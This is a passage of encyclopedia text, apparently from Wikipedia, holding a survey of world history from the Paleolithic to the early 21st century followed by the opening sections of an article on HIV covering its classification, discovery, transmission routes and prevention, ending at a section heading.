          Humans spread from East Africa to the Near East some 80 millennia ago, and further to southern Asia and Australasia some 60 millennia ago, northwestwards into Europe and eastwards into Central Asia some 40 millennia ago, and further east to the Americas from ca. 30 millennia ago. The Upper Paleolithic is taken to begin some 40 millennia ago, with the appearance of "high" culture. Expansion to North America and Oceania took place at the climax of the most recent Ice Age, when today's temperate regions were extremely inhospitable. By the end of the Ice Age some 12,000 BP, humans had colonised nearly all the ice-free parts of the globe.


          Throughout the Paleolithic, humans generally lived as nomadic hunter-gatherers. Hunter-gatherer societies have tended to be very small and egalitarian, though hunter-gatherer societies with abundant resources or advanced food-storage techniques have sometimes developed a sedentary lifestyle, complex social structures such as chiefdoms, and social stratification; and long-distance contacts may be possible, as in the case of Indigenous Australian "highways."


          


          Mesolithic period


          
            [image: Dugout canoe.]

            
              Dugout canoe.
            

          


          The "Mesolithic," or "Middle Stone Age" (from the Greek "mesos," "middle," and "lithos," "stone") was a period in the development of human technology between the Paleolithic and Neolithic periods of the Stone Age.


          The Mesolithic period began at the end of the Pleistocene epoch, some 10,000 BP, and ended with the introduction of agriculture, the date of which varied by geographic region. In some areas, such as the Near East, agriculture was already underway by the end of the Pleistocene, and there the Mesolithic is short and poorly defined. In areas with limited glacial impact, the term " Epipaleolithic" is sometimes preferred.


          Regions that experienced greater environmental effects as the last ice age ended have a much more evident Mesolithic era, lasting millennia. In Northern Europe, societies were able to live well on rich food supplies from the marshlands fostered by the warmer climate. Such conditions produced distinctive human behaviours which are preserved in the material record, such as the Maglemosian and Azilian cultures. These conditions also delayed the coming of the Neolithic until as late as 4000 BCE (6,000 BP) in northern Europe.


          Remains from this period are few and far between, often limited to middens. In forested areas, the first signs of deforestation have been found, although this would only begin in earnest during the Neolithic, when more space was needed for agriculture.


          The Mesolithic is characterized in most areas by small composite flint tools  microliths and microburins. Fishing tackle, stone adzes and wooden objects, e.g. canoes and bows, have been found at some sites. These technologies first occur in Africa, associated with the Azilian cultures, before spreading to Europe through the Ibero-Maurusian culture of Spain and Portugal, and the Kebaran culture of Palestine. Independent discovery is not always ruled out.


          During the Mesolithic as in the preceding Paleolithic period, people lived in small (mostly egalitarian) bands and tribes.


          


          Neolithic period


          "Neolithic" means "New Stone Age." This was a period of primitive technological and social development, toward the end of the "Stone Age." Beginning in the 10th millennium BCE (12,000 BP), the Neolithic period saw the development of early villages, agriculture, animal domestication and tools.


          


          Rise of agriculture


          
            [image: Ox-drawn plow, Egypt, ca. 1200 BCE.]

            
              Ox-drawn plow, Egypt, ca. 1200 BCE.
            

          


          A major change, described by prehistorian Vere Gordon Childe as the " Agricultural Revolution," occurred about the 10th millennium BCE with the adoption of agriculture. The Sumerians first began farming ca. 9500 BCE. By 7000 BCE, agriculture had spread to India; by 6000 BCE, to Egypt; by 5000 BCE, to China. About 2700 BCE, agriculture had come to Mesoamerica.


          Although attention has tended to concentrate on the Middle East's Fertile Crescent, archaeology in the Americas, East Asia and Southeast Asia indicates that agricultural systems, using different crops and animals, may in some cases have developed there nearly as early. the development of organised irrigation, and the use of a specialised workforce, by the Sumerians, began about 5500 BCE. Stone was supplanted by bronze and iron in implements of agriculture and warfare. Agricultural settlements had until then been almost completely dependent on stone tools. In Eurasia, copper and bronze tools, decorations and weapons began to be commonplace about 3000 BCE. After bronze, the Eastern Mediterranean region, Middle East and China saw the introduction of iron tools and weapons.


          
            [image: The technological and social state of the world, circa 1000 BCE.]

            
              The technological and social state of the world, circa 1000 BCE.
            

          


          The Americas may not have had metal tools until the Chavn horizon (900 BCE). The Moche did have metal armor, knives and tableware. Even the metal-poor Inca had metal-tipped plows, at least after the conquest of Chimor. However, little archaeological research has so far been done in Peru, and nearly all the khipus (recording devices, in the form of knots, used by the Incas) were burned in the Spanish conquest of Peru. As late as 2004, entire cities were still being unearthed. Some digs suggest that steel may have been produced there before it was developed in Europe.


          The cradles of early civilizations were river valleys, such as the Euphrates and Tigris valleys in Mesopotamia, the Nile valley in Egypt, the Indus valley in the Indian subcontinent, and the Yangtze and Yellow River valleys in China. Some nomadic peoples, such as the Indigenous Australians and the Bushmen of southern Africa, did not practice agriculture until relatively recent times.


          Before 1800, many populations did not belong to states. Scientists disagree as to whether the term "tribe" should be applied to the kinds of societies that these people lived in. Many tribal societies, in Europe and elsewhere, transformed into states when they were threatened, or otherwise impinged on, by existing states. Examples are the Marcomanni, Poland and Lithuania. Some "tribes," such as the Kassites and the Manchus, conquered states and were absorbed by them.


          Agriculture made possible complex societies  civilizations. States and markets emerged. Technologies enhanced people's ability to control nature and to develop transport and communication.


          


          Civilization


          


          State


          The first Agricultural Revolution led to several major changes. It permitted far denser populations, which in time organised into states. There are several definitions for the term, "state." Max Weber and Norbert Elias defined a state as an organization of people that has a monopoly on the legitimate use of force in a particular geographic area.


          
            [image: Borders delineate states — a prominent example is the Great Wall of China, which stretches over 6,400 km, and was first erected in the 3rd century BCE to protect the north from nomadic invaders called Xiongnu. It has since been rebuilt and augmented several times.]
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          The first states appeared in Mesopotamia, western Iran, ancient Egypt and Indus Valley in the late 4th and early 3rd millennia BCE. In Bronze Age Mesopotamia and Iran, there were several city-states. Ancient Egypt began as a state without cities, but soon developed them. States appeared in China in the late 3rd and early 2nd millennia BCE.


          A state ordinarily needs an army for the legitimate exercise of force. An army needs a bureaucracy to maintain it. The only exception to this appears to have been the Indus Valley civilization, for which there is no evidence of the existence of a military force.


          Major wars were waged among states in the Middle East. About 1275 BCE, the Hittites under Muwatalli II and the Egyptians under Ramesses II concluded the treaty of Kadesh, the world's oldest recorded peace treaty.


          Empires came into being, with conquered areas ruled by central tribes, as in the Neo-Assyrian Empire (10th century BCE), the Achaemenid Persian Empire (6th century BCE), the Mauryan Empire (4th century BCE), Qin and Han China (3rd century BCE), and the Roman Empire (1st century BCE).


          Clashes among empires included those that took place in the 8th century, when the Islamic Caliphate of Arabia (ruling from Spain to Iran) and China's Tang dynasty (ruling from Xinjiang to Dalian) fought for decades for control of Central Asia.
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              Cuneiform script, the earliest known writing system.
            

          


          The largest contiguous land empire in history was the 13th-century Mongolian Empire. By then, most people in Europe, Asia and North Africa belonged to states. There were states as well in Mexico and western South America. States controlled more and more of the world's territory and population; the last "empty" territories, with the exception of uninhabited Antarctica, would be divided up among states by the Berlin Conference (1884-1885).


          


          City and trade


          Agriculture also created, and allowed for the storage of, food surpluses that could support people not directly engaged in food production. The development of agriculture permitted the creation of the first cities. These were centers of trade, manufacture and political power with nearly no agricultural production of their own. Cities established a symbiosis with their surrounding countrysides, absorbing agricultural products and providing, in return, manufactures and varying degrees of military protection.


          The development of cities equated, both etymologically and in fact, with the rise of civilization itself: first Sumerian civilization, in lower Mesopotamia (3500 BCE), followed by Egyptian civilization along the Nile (3300 BCE) and Harappan civilization in the Indus Valley (3300 BCE). Elaborate cities grew up, with high levels of social and economic complexity. Each of these civilizations was so different from the others that they almost certainly originated independently. It was at this time, and due to the needs of cities, that writing and extensive trade were introduced.


          The earliest known form of writing was cuneiform script, created by the Sumerians from ca. 3000 BC. Cuneiform writing began as a system of pictographs. Over time, the pictorial representations became simplified and more abstract. Cuneiforms were written on clay tablets, on which symbols were drawn with a blunt reed for a stylus. The first alphabets were used in the Middle Bronze Age (2000-1500 BCE). From them evolved the Phoenician alphabet, used for the writing of Phoenician. The Phoenician alphabet is the ancestor of many of the writing systems used today.


          In China, proto-urban societies may have developed from 2500 BCE, but the first dynasty to be identified by archeology is the Shang Dynasty.


          The 2nd millennium BCE saw the emergence of civilization in Caanan, Crete, mainland Greece, and central Turkey.
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          In the Americas, civilizations such as the Maya, Zapotec, Moche, and Nazca emerged in Mesoamerica and Peru at the end of the 1st millennium BCE.


          The world's first coinage was introduced around 625 BC in Lydia (western Anatolia, in modern Turkey).


          Trade routes appeared in the eastern Mediterranean in the 4th millennium BCE. Long-range trade routes first appeared in the 3rd millennium BCE, when Sumerians in Mesopotamia traded with the Harappan civilization of the Indus Valley. The Silk Road between China and Syria began in the 2nd millennium BCE. Cities in Central Asia and Persia were major crossroads of these trade routes. Silla dynastic tombs have been found in Korea, containing relics such as wine cups produced in Iran. The Phoenician and Greek civilizations founded trade-based empires in the Mediterranean basin in the 1st millennium BCE.


          In the late 1st millennium CE and early 2nd millennium CE, the Arabs dominated the trade routes in the Indian Ocean, East Asia, and the Sahara. In the late 1st millennium, Arabs and Jews dominated trade in the Mediterranean. In the early 2nd millennium, Italians took over this role, and Flemish and German cities were at the centre of trade routes in northern Europe controlled by the Hanseatic League. In all areas, major cities developed at crossroads along trade routes.


          


          Religion and philosophy
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          New philosophies and religions arose in both east and west, particularly about the 6th century BCE. Over time, a great variety of religions developed around the world, with some of the earliest major ones being Hinduism, Buddhism, and Jainism in India, and Zoroastrianism in Persia. The Abrahamic religions trace their origin to Judaism, around 1800 BCE.


          In the east, three schools of thought were to dominate Chinese thinking until the modern day. These were Taoism, Legalism and Confucianism. The Confucian tradition, which would attain dominance, looked for political morality not to the force of law but to the power and example of tradition. Confucianism would later spread into the Korean peninsula and Goguryeo and toward Japan.


          In the west, the Greek philosophical tradition, represented by Socrates, Plato, and Aristotle, was diffused throughout Europe and the Middle East in the 4th century BCE by the conquests of Alexander III of Macedon, more commonly known as Alexander the Great.


          


          Civilizations and regions


          


          By the last centuries BCE, the Mediterranean, the Ganges River and the Yellow River had become seats of empires which future rulers would seek to emulate. In India, the Mauryan Empire ruled most of southern Asia, while the Pandyas ruled southern India. In China, the Qin and Han dynasties extended their imperial governance through political unity, improved communications and Emperor Wu's establishment of state monopolies.


          In the west, the ancient Greeks established a civilization that is considered by most historians to be the foundational culture of modern western civilization. Some centuries later, in the 3rd century BCE, the Romans began expanding their territory through conquest and colonisation. By the reign of Emperor Augustus (late 1st century BCE), Rome controlled all the lands surrounding the Mediterranean. By the reign of Emperor Trajan (early 2nd century CE), Rome controlled much of the land from England to Mesopotamia.


          The great empires depended on military annexation of territory and on the formation of defended settlements to become agricultural centres. The relative peace that the empires brought, encouraged international trade, most notably the massive trade routes in the Mediterranean that had been developed by the time of the Hellenistic Age, and the Silk Road.


          The empires faced common problems associated with maintaining huge armies and supporting a central bureaucracy. These costs fell most heavily on the peasantry, while land-owning magnates were increasingly able to evade centralised control and its costs. The pressure of barbarians on the frontiers hastened the process of internal dissolution. China's Han Empire fell into civil war in 220 CE, while its Roman counterpart became increasingly decentralised and divided about the same time.


          Throughout the temperate zones of Eurasia, America and North Africa, empires continued to rise and fall.


          The gradual break-up of the Roman Empire, spanning several centuries after the 2nd century CE, coincided with the spread of Christianity westward from the Middle East. The western Roman Empire fell under the domination of Germanic tribes in the 5th century, and these polities gradually developed into a number of warring states, all associated in one way or another with the Roman Catholic Church. The remaining part of the Roman Empire, in the eastern Mediterranean, would henceforth be the Byzantine Empire. Centuries later, a limited unity would be restored to western Europe through the establishment of the Holy Roman Empire in 962, which comprised a number of states in what is now Germany, Switzerland, Belgium, Italy, and France.


          In China, dynasties would similarly rise and fall. After the fall of the Eastern Han Dynasty and the demise of the Three Kingdoms, Nomadic tribes from the north began to invade in the 4th century CE, eventually conquering areas of Northern China and setting up many small kingdoms. The Sui Dynasty reunified China in 581, and under the succeeding Tang Dynasty ( 618- 907) China entered a second golden age. The Tang Dynasty also splintered, however, and after half a century of turmoil the Northern Song Dynasty reunified China in 982. Yet pressure from nomadic empires to the north became increasingly urgent. North China was lost to the Jurchens in 1141, and the Mongol Empire conquered all of China in 1279, as well as almost all of Eurasia's landmass, missing only central and western Europe, and most of Southeast Asia and Japan.


          In these times, northern India was ruled by the Guptas. In southern India, three prominent Dravidian kingdoms emerged: Cheras, Cholas and Pandyas. The ensuing stability contributed to heralding in the golden age of Hindu culture in the 4th and 5th centuries CE.
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          At this time also, in Central America, vast societies also began to be built, the most notable being the Maya and Aztecs of Mesoamerica. As the mother culture of the Olmecs gradually declined, the great Mayan city-states slowly rose in number and prominence, and Maya culture spread throughout Yucatn and surrounding areas. The later empire of the Aztecs was built on neighboring cultures and was influenced by conquered peoples such as the Toltecs.


          In South America, the 14th and 15th centuries saw the rise of the Inca. The Inca Empire of Tawantinsuyu, with its capital at Cusco, spanned the entire Andes Mountain Range. The Inca were prosperous and advanced, known for an excellent road system and unrivaled masonry.


          Islam, which began in 7th century Arabia, was also one of the most remarkable forces in world history, growing from a handful of adherents to become the foundation of a series of empires in the Middle East, North Africa, Central Asia, India and present-day Indonesia.


          In northeastern Africa, Nubia and Ethiopia remained Christian enclaves while the rest of Africa north of the equator converted to Islam. With Islam came new technologies that, for the first time, allowed substantial trade to cross the Sahara. Taxes on this trade brought prosperity to North Africa, and the rise of a series of kingdoms in the Sahel.


          This period in the history of the world was marked by slow but steady technological advances, with important developments such as the stirrup and moldboard plow arriving every few centuries. There were, however, in some regions, periods of rapid technological progress. Most important, perhaps, was the Mediterranean area during the Hellenistic period, when hundreds of technologies were invented. Such periods were followed by periods of technological decay, as during the Roman Empire's decline and fall and the ensuing early medieval period.


          The Plague of Justinian was a pandemic that afflicted the Byzantine Empire, including its capital Constantinople, in the years 541 542 AD. It is estimated that the Plague of Justinian killed as many as 100 million people across the world. It caused Europe's population to drop by around 50% between 541 and 700. It also may have contributed to the success of the Arab conquests.


          


          Rise of Europe


          


          Background
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          Nearly all the agricultural civilizations were heavily constrained by their environments. Productivity remained low, and climatic changes easily instigated boom and bust cycles that brought about civilizations' rise and fall. By about 1500, however, there was a qualitative change in world history. Technological advance and the wealth generated by trade gradually brought about a widening of possibilities.


          Even before the 16th century, some civilizations had developed advanced societies. In ancient times, the Greeks and Romans had produced societies supported by a developed monetary economy, with financial markets and private-property rights. These institutions created the conditions for continuous capital accumulation, with increased productivity. By some estimates, the per-capita income of Roman Italy, one of the most advanced regions of the Roman Empire, was comparable to the per-capita incomes of the most advanced economies in the 18th century. (see ) The most developed regions of classical civilization were more urbanized than any other region of the world until early modern times. This civilization had, however, gradually declined and collapsed; historians still debate the causes.


          China had developed an advanced monetary economy by 1,000 CE. China had a free peasantry who were no longer subsistence farmers, and could sell their produce and actively participate in the market. The agriculture was highly productive and China's society was highly urbanized. The country was technologically advanced as it enjoyed a monopoly in piston bellows and printing. (see Joseph Needham). But, after earlier onslaughts by the Jurchens, in 1279 the remnants of the Sung empire were conquered by the Mongols.


          Outwardly, Europe's Renaissance, beginning in the 14th century, consisted in the rediscovery of the classical world's scientific contributions, and in the economic and social rise of Europe. But the Renaissance also engendered a culture of inquisitiveness which ultimately led to Humanism, the Scientific Revolution, and finally the great transformation of the Industrial Revolution. The Scientific Revolution in the 17th century, however, had no immediate impact on technology; only in the second half of the 18th century did scientific advances begin to be applied to practical invention.


          The advantages that Europe had developed by the mid-18th century were two: an entrepreneurial culture, and the wealth generated by the Atlantic trade (including the African slave trade). By the late 16th century, American silver accounted for one-fifth of Spain's total budget. The profits of the slave trade and of West Indian plantations amounted to 5% of the British economy at the time of the Industrial Revolution. While some historians conclude that, in 1750, labour productivity in the most developed regions of China was still on a par with that of Europe's Atlantic economy (see Wolfgang Keller and Carol Shiue), other historians like Angus Maddison hold that the per-capita productivity of western Europe had by the late Middle Ages surpassed that of all other regions.


          A number of explanations are proffered as to why, from the late Middle Ages on, Europe rose to surpass other civilizations, become the home of the Industrial Revolution, and dominate the world. Max Weber argued that it was due to a Protestant work ethic that encouraged Europeans to work harder and longer than others. Another socioeconomic explanation looks to demographics: Europe, with its celibate clergy, colonial emigration, high-mortality urban centers, periodic famines and outbreaks of the Black Death, continual warfare, and late age of marriage had far more restrained population growth, compared to Asian cultures. A relative shortage of labour meant that surpluses could be invested in labour-saving technological advances such as water-wheels and mills, spinners and looms, steam engines and shipping, rather than fueling population growth.


          Many have also argued that Europe's institutions were superior, that property rights and free-market economics were stronger than elsewhere due to an ideal of freedom peculiar to Europe. In recent years, however, scholars such as Kenneth Pomeranz have challenged this view, although the revisionist approach to world history has also met with criticism for systematically "downplaying" European achievements.


          Europe's geography may also have played an important role. The Middle East, India and China are all ringed by mountains but, once past these outer barriers, are relatively flat. By contrast, the Pyrenees, Alps, Apennines, Carpathians and other mountain ranges run through Europe, and the continent is also divided by several seas. This gave Europe some degree of protection from the peril of Central Asian invaders. Before the era of firearms, these nomads were militarily superior to the agricultural states on the periphery of the Eurasian continent and, if they broke out into the plains of northern India or the valleys of China, were all but unstoppable. These invasions were often devastating. The Golden Age of Islam was ended by the Mongol sack of Baghdad in 1258. India and China were subject to periodic invasions, and Russia spent a couple of centuries under the Mongol-Tatar Yoke. Central and western Europe, logistically more distant from the Central Asian heartland, proved less vulnerable to these threats.


          Geography also contributed to important geopolitical differences. For most of their histories, China, India and the Middle East were each unified under a single dominant power that expanded until it reached the surrounding mountains and deserts. In 1600 the Ottoman Empire controlled almost all the Middle East, the Ming Dynasty ruled China, and the Mughal Empire held sway over India. By contrast, Europe was almost always divided into a number of warring states. Pan-European empires, with the major exception of the Roman Empire, tended to collapse soon after they arose.
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          One source of Europe's success is often said to be the intense competition among rival European states. In other regions, stability was often a higher priority than growth. China's growth as a maritime power was halted by the Ming Dynasty's Hai jin ban on ocean-going commerce. In Europe, due to political disunity, a blanket ban of this kind would have been impossible; had any one state imposed it, that state would quickly have fallen behind its competitors.


          Another doubtless important geographic factor in the rise of Europe was the Mediterranean Sea, which, for millennia, had functioned as a maritime superhighway fostering the exchange of goods, people, ideas and inventions.


          By contrast to Europe, in tropical lands the still more ubiquitous diseases and parasites, sapping the strength and health of humans, and of their animals and crops, were socially-disorganizing factors that impeded progress.


          


          Mercantile dominance


          In the fourteenth century, the Renaissance began in Europe. Some modern scholars have questioned whether this flowering of art and Humanism was a benefit to science, but the era did see an important fusion of Arab and European knowledge. One of the most important developments was the caravel, which combined the Arab lateen sail with European square rigging to create the first vessels that could safely sail the Atlantic Ocean. Along with important developments in navigation, this technology allowed Christopher Columbus in 1492 to journey across the Atlantic Ocean and bridge the gap between Afro-Eurasia and the Americas.


          This had dramatic effects on both continents. The Europeans brought with them viral diseases that American natives had never encountered, and uncertain numbers of natives died in a series of devastating epidemics. The Europeans also had the technological advantage of horses, steel and guns that helped them overpower the Aztec and Incan empires as well as North American cultures.


          Gold and resources from the Americas began to be stripped from the land and people and shipped to Europe, while at the same time large numbers of European colonists began to emigrate to the Americas. To meet the great demand for labour in the new colonies, the mass import of Africans as slaves began. Soon much of the Americas had a large racial underclass of slaves. In West Africa, a series of thriving states developed along the coast, becoming prosperous from the exploitation of suffering interior African peoples.
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          Europe's maritime expansion unsurprisingly  given that continent's geography  was largely the work of its Atlantic seaboard states: Portugal, Spain, England, France, and the Netherlands. The Portuguese and Spanish Empires were at first the predominant conquerors and source of influence, but soon the more northern English, French and Dutch began to dominate the Atlantic. In a series of wars, fought in the 17th and 18th centuries, culminating with the Napoleonic Wars, Britain emerged as the first world power. It accumulated an empire that spanned the globe, controlling, at its peak, approximately one-quarter of the world's land surface, on which the " sun never set".


          Meanwhile the voyages of Admiral Zheng He were halted by China's Ming Dynasty (1368-1644), established after the expulsion of the Mongols. A Chinese commercial revolution, sometimes described as "incipient capitalism," was also abortive. The Ming Dynasty would eventually fall to the Manchus, whose Qing Dynasty at first oversaw a period of calm and prosperity but would increasingly fall prey to Western encroachment.


          Soon after the invasion of the Americas, Europeans had exerted their technological advantage as well over the peoples of Asia. In the early 19th century, Britain gained control of the Indian subcontinent, Egypt and the Malay Peninsula; the French took Indochina; while the Dutch occupied the Dutch East Indies. The British also took over several areas still populated by Neolithic peoples, including Australia, New Zealand and South Africa, and, as in the Americas, large numbers of British colonists began to emigrate there. In the late 19th century, the European powers divided the remaining areas of Africa.


          This era in Europe saw the Age of Reason lead to the Scientific Revolution, which changed man's understanding of the world and made possible the Industrial Revolution, a major transformation of the worlds economies. The Industrial Revolution began in Great Britain and used new modes of production  the factory, mass production, and mechanisation  to manufacture a wide array of goods faster and for less labour than previously.


          The Age of Reason also led to the beginnings of modern democracy in the late-18th century American and French Revolutions. Democracy would grow to have a profound effect on world events and on quality of life.


          During the Industrial Revolution, the world economy was soon based on coal, as new methods of transport, such as railways and steamships, effectively shrank the world. Meanwhile, industrial pollution and environmental damage, present since the discovery of fire and the beginning of civilization, accelerated drastically.


          


          Twentieth Century onward


          The 20th century opened with Europe at an apex of wealth and power, and with much of the world under its direct colonial control or its indirect domination. Much of the rest of the world was influenced by heavily Europeanized nations: the United States and Japan. As the century unfolded, however, the global system dominated by rival powers was subjected to severe strains, and ultimately yielded to a more fluid structure of independent nations organized on Western models.
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          This transformation was catalyzed by wars of unparalleled scope and devastation. World War I destroyed many of Europe's empires and monarchies, and weakened France and Britain. In its aftermath, powerful ideologies arose. The Russian Revolution of 1917 created the first communist state, while the 1920s and 1930s saw militaristic fascist dictatorships gain control in Italy, Germany, Spain, Japan and elsewhere.


          Ongoing national rivalries, exacerbated by the economic turmoil of the Great Depression, helped precipitate World War II. The militaristic dictatorships of Europe and Japan pursued an ultimately doomed course of imperialist expansionism. Their defeat opened the way for the advance of communism into Central Europe, Yugoslavia, Bulgaria, Romania, Albania, China, North Vietnam and North Korea.
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          Following World War II, in 1945, the United Nations was founded in the hope of allaying conflicts among nations and preventing future wars. The war had, however, left two nations, the United States and the Soviet Union, with principal power to guide international affairs. Each was suspicious of the other and feared a global spread of the other's political-economic model. This led to the Cold War, a forty-year stand-off between the United States, the Soviet Union, and their respective allies. With the development of nuclear weapons and the subsequent arms race, all of humanity were put at risk of nuclear war between the two superpowers. Such war being viewed as impractical, proxy wars were instead waged, at the expense of non-nuclear-armed Third World countries.


          The Cold War lasted through the ninth decade of the twentieth century, when the Soviet Union's communist system began to collapse, unable to compete economically with the United States and western Europe; the Soviets' Central European " satellites" reasserted their national sovereignty, and in 1991 the Soviet Union itself disintegrated. This left the United States for the time being as the "sole remaining superpower," a status whose permanence came into question as that country's economic supremacy began to show signs of slippage.


          In the early postwar decades, the African and Asian colonies of the Belgian, British, Dutch, French and other west European empires won their formal independence but faced challenges in the form of neocolonialism, poverty, illiteracy and endemic tropical diseases. Many of the Western and Central European nations gradually formed a political and economic community, the European Union, which subsequently expanded eastward to include former Soviet satellites.
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          The twentieth century saw exponential progress in science and technology, and increased life expectancy and standard of living for much of humanity. As the developed world shifted from a coal-based to a petroleum-based economy, new transport technologies, along with the dawn of the Information Age, led to increased globalization. Space exploration reached throughout the solar system. The structure of DNA, the very template of life, was discovered, and the human genome was sequenced, a major milestone in the understanding of human biology and the treatment of disease. Global literacy rates continued to rise, and the percentage of the world's labor pool needed to produce humankind's food supply continued to drop.


          The century saw the development of new global threats, such as nuclear proliferation, epidemics of contagious diseases, environmental problems such as the greenhouse effect and deforestation, and the dwindling of global resources. It witnessed, as well, a dawning awareness of ancient hazards that had probably previously caused mass extinctions of lifeforms on the planet, such as near-earth asteroids and comets, supervolcano eruptions, and gamma-ray bursts. Meanwhile the life courses of many states continued to be accompanied by wars, with resulting loss of life, economic devastation, disease, famine and genocide. As of 2008, some 30 ongoing armed conflicts raged in various parts of the world.


          As the 20th century yielded to the 21st, it became increasingly clear that Earth's human population was fast becoming lodged in a historic bottleneck of resource constraints, exacerbated by mounting population and growing environmental degradation. A matter of particular urgency was the development of more plentiful and safer sources of energy such as renewable energy varieties, and perhaps expanded use of nuclear energy and of "clean" fossil-fuel technologies.


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_the_world"
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          Human immunodeficiency virus (HIV) is a lentivirus (a member of the retrovirus family) that can lead to acquired immunodeficiency syndrome (AIDS), a condition in humans in which the immune system begins to fail, leading to life-threatening opportunistic infections. Previous names for the virus include human T-lymphotropic virus-III (HTLV-III), lymphadenopathy-associated virus (LAV), and AIDS-associated retrovirus (ARV).


          Infection with HIV occurs by the transfer of blood, semen, vaginal fluid, pre-ejaculate, or breast milk. Within these bodily fluids, HIV is present as both free virus particles and virus within infected immune cells. The four major routes of transmission are unprotected sexual intercourse, contaminated needles, breast milk, and transmission from an infected mother to her baby at birth. Screening of blood products for HIV has largely eliminated transmission through blood transfusions or infected blood products in the developed world.


          HIV infection in humans is now pandemic. As of January 2006, the Joint United Nations Programme on HIV/AIDS (UNAIDS) and the World Health Organization (WHO) estimate that AIDS has killed more than 25 million people since it was first recognized on December 1, 1981, making it one of the most destructive pandemics in recorded history. It is estimated that about 0.6% of the world's population is infected with HIV. In 2005 alone, AIDS claimed an estimated 2.43.3 million lives, of which more than 570,000 were children. A third of these deaths are occurring in sub-Saharan Africa, retarding economic growth and increasing poverty. According to current estimates, HIV is set to infect 90 million people in Africa, resulting in a minimum estimate of 18 million orphans. Antiretroviral treatment reduces both the mortality and the morbidity of HIV infection, but routine access to antiretroviral medication is not available in all countries.


          HIV primarily infects vital cells in the human immune system such as helper T cells (specifically CD4+ T cells), macrophages and dendritic cells. HIV infection leads to low levels of CD4+ T cells through three main mechanisms: firstly, direct viral killing of infected cells; secondly, increased rates of apoptosis in infected cells; and thirdly, killing of infected CD4+ T cells by CD8 cytotoxic lymphocytes that recognize infected cells. When CD4+ T cell numbers decline below a critical level, cell-mediated immunity is lost, and the body becomes progressively more susceptible to opportunistic infections.


          Eventually most HIV-infected individuals develop AIDS (Acquired Immunodeficiency Syndrome). These individuals mostly die from opportunistic infections or malignancies associated with the progressive failure of the immune system. Without treatment, about 9 out of every 10 persons with HIV will progress to AIDS after 10-15 years. Many progress much sooner. Treatment with anti-retrovirals increases the life expectancy of people infected with HIV. Even after HIV has progressed to diagnosable AIDS, the average survival time with antiretroviral therapy (as of 2005) is estimated to be more than 5years. Without antiretroviral therapy, death normally occurs within a year. It is hoped that current and future treatments may allow HIV-infected individuals to achieve a life expectancy approaching that of the general public.


          


          Classification


          HIV is a member of the genus Lentivirus, part of the family of Retroviridae. Lentiviruses have many common morphologies and biological properties. Many species are infected by lentiviruses, which are characteristically responsible for long-duration illnesses with a long incubation period. Lentiviruses are transmitted as single-stranded, positive- sense, enveloped RNA viruses. Upon entry of the target cell, the viral RNA genome is converted to double-stranded DNA by a virally encoded reverse transcriptase that is present in the virus particle. This viral DNA is then integrated into the cellular DNA by a virally encoded integrase, along with host cellular co-factors, so that the genome can be transcribed. Once the virus has infected the cell, two pathways are possible: either the virus becomes latent and the infected cell continues to function, or the virus becomes active and replicates, and a large number of virus particles are liberated that can then infect other cells.


          Two species of HIV infect humans: HIV-1 and HIV-2. HIV-1 is the virus that was initially discovered and termed LAV. It is more virulent, relatively easily transmitted, and is the cause of the majority of HIV infections globally. HIV-2 is less transmittable than HIV-1 and is largely confined to West Africa.
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          Discovery


          Controversy surrounding the discovery of the Human Immunodeficiency Virus (HIV) was intense after American researcher Robert Gallo and French scientist Luc Montagnier both claimed to have discovered it. The dispute was settled on a political level with both teams receiving equal credit.
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          Since the beginning of the pandemic, three main transmission routes for HIV have been identified:


          
            	Sexual route. The majority of HIV infections are acquired through unprotected sexual relations. Sexual transmission can occur when infected sexual secretions of one partner come into contact with the genital, oral, or rectal mucous membranes of another.


            	Blood or blood product route. This transmission route can account for infections in intravenous drug users, hemophiliacs and recipients of blood transfusions (though most transfusions are checked for HIV in the developed world) and blood products. It is also of concern for persons receiving medical care in regions where there is prevalent substandard hygiene in the use of injection equipment, such as the reuse of needles in Third World countries. HIV can also be spread through the sharing of needles. Health care workers such as nurses, laboratory workers, and doctors, have also been infected, although this occurs more rarely. People who give and receive tattoos, piercings, and scarification procedures can also be at risk of infection.


            	Mother-to-child transmission (MTCT). The transmission of the virus from the mother to the child can occur in utero during pregnancy and intrapartum at childbirth. In the absence of treatment, the transmission rate between the mother and child is around 25%. However, where combination antiretroviral drug treatment and Cesarian section are available, this risk can be reduced to as low as 1%. Breast feeding also presents a risk of infection for the baby.

          


          HIV-2 is transmitted much less frequently by the MTCT and sexual route than HIV-1.


          HIV has been found at low concentrations in the saliva, tears and urine of infected individuals, but there are no recorded cases of infection by these secretions and the potential risk of transmission is negligible. The use of physical barriers such as the latex condom is widely advocated to reduce the sexual transmission of HIV. Spermicide, when used alone or with vaginal contraceptives like a diaphragm, actually increases the male to female transmission rate due to inflammation of the vagina; it should not be considered a barrier to infection.


          


          Multiple Infection


          Unlike some other viruses, infection with HIV does not provide immunity against additional infections, particularly in the case of more genetically distant viruses. Both inter- and intra-clade multiple infections have been reported, and even associated with more rapid disease progression. Multiple infections are divided into two categories depending on the timing of the acquisition of the second strain. Coinfection refers to two strains that appear to have been acquired at the same time (or too close to distinguish). Reinfection (or superinfection) is infection with a second strain at a measurable time after the first. Both forms of dual infection have been reported for HIV in both acute and chronic infection around the world .


          


          Male Circumcision in Preventing Transmission


          A meta-analysis of twenty-seven observational studies conducted prior to 1999 in sub-Saharan Africa indicated that male circumcision reduces the risk of HIV infection. However, a subsequent review indicated that the correlation between circumcision and HIV in these observational studies may have been due to confounding factors. Later trials, in which uncircumcised men were randomly assigned to be medically circumcised in sterile conditions and given counseling and other men were not circumcised, have been conducted in South Africa, Kenya and Uganda showing reductions in HIV transmission for heterosexual sex of 60%, 53%, and 51% respectively. As a result, a panel of experts convened by WHO and the UNAIDS Secretariat has "recommended that male circumcision now be recognized as an additional important intervention to reduce the risk of heterosexually acquired HIV infection in men." Research is clarifying whether there is a historical relationship between rates of male circumcision and rates of HIV in differing social and cultural contexts. Some South African medical experts have expressed concern that the repeated use of unsterilized blades in the ritual (not medical) circumcision of adolescent boys may be spreading HIV.


          


          Structure and genome
